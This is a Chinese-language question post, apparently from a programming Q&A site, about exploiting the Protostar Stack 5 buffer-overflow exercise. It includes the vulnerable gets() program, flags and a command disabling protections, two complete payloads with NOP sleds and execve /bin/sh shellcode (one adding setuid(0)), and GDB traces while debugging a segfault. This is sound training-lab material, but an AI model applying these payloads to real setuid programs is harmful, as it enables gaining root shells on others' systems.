我正在玩基本缓冲区溢出 Protostar - 堆栈 5
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
//gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g bof2.c -o bof2
//sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
然后我尝试简单的shellcode http://shell-storm.org/shellcode/files/shellcode-811.php
所以最终的有效载荷看起来像这样
(python -c "print 'A'*72+'\xf4\xd1\xff\xff'+'\x90'*200+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"; tee) | ./protostar-stack5
它按预期工作,所以当我输入idSTDIN 时,STDOUT 将是我当前的id等等。
现在我想尝试使用SETUID(0)这里的shellcode链接http://shell-storm.org/shellcode/files/shellcode-598.php
所以我的最终有效载荷将是
(python -c "print 'A'*72+'\xf4\xd1\xff\xff'+'\x90'*200+'\x31\xdb\x8d\x43\x17\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; tee) | ./protostar-stack5
当我输入idSTDIN 时,我得到了Segmentation Fault
所以我决定在 GDB 中从 NOP 到 Shellcode 一步步检查
0xffffd235: nop
0xffffd236: nop
0xffffd237: nop
=> 0xffffd238: xor ebx,ebx ; Start of Shellcode
0xffffd23a: lea eax,[ebx+0x17]
0xffffd23d: int 0x80
0xffffd23f: push ebx
0xffffd240: push 0x68732f6e
0xffffd245: push 0x69622f2f
0xffffd24a: mov ebx,esp
0xffffd24c: push eax
0xffffd24d: push ebx
0xffffd24e: mov ecx,esp
0xffffd250: cdq
0xffffd251: mov al,0xb
=> 0xffffd253: int 0x80 ; End Of Shellcode
0xffffd255: add bh,bh ; Still executed
0xffffd257: dec DWORD PTR [ebx-0x25] ; Still executed
0xffffd25a: (bad) ; Still executed, this cause Segmentation fault
0xffffd25b: jmp DWORD PTR [edx-0x25]
0xffffd25e: (bad)
0xffffd25f: push DWORD PTR [ebx+ebx*8-0x1]
Legend: code, data, rodata, value
Stopped reason: SIGILL
0xffffd25a in ?? ()
我从shellcode开始到shellcode结束,我没有错误但是shell没有出现并且它仍然在shellcode结束后执行指令然后它会Segmentation Fault在最后
我已经在编译的程序中设置了 SUID 位。
那么为什么我得到Segmentation Fault而不是执行shell?
为什么指令INT 80执行后仍然执行,它与INT 80执行后给我shell的基本shellcode不同?
我应该怎么做才能使我的有效负载按SETUID(0)预期工作?
PS : 我想问一下,幸好它在写问题的最后工作。欢迎任何其他答案。
提前致谢。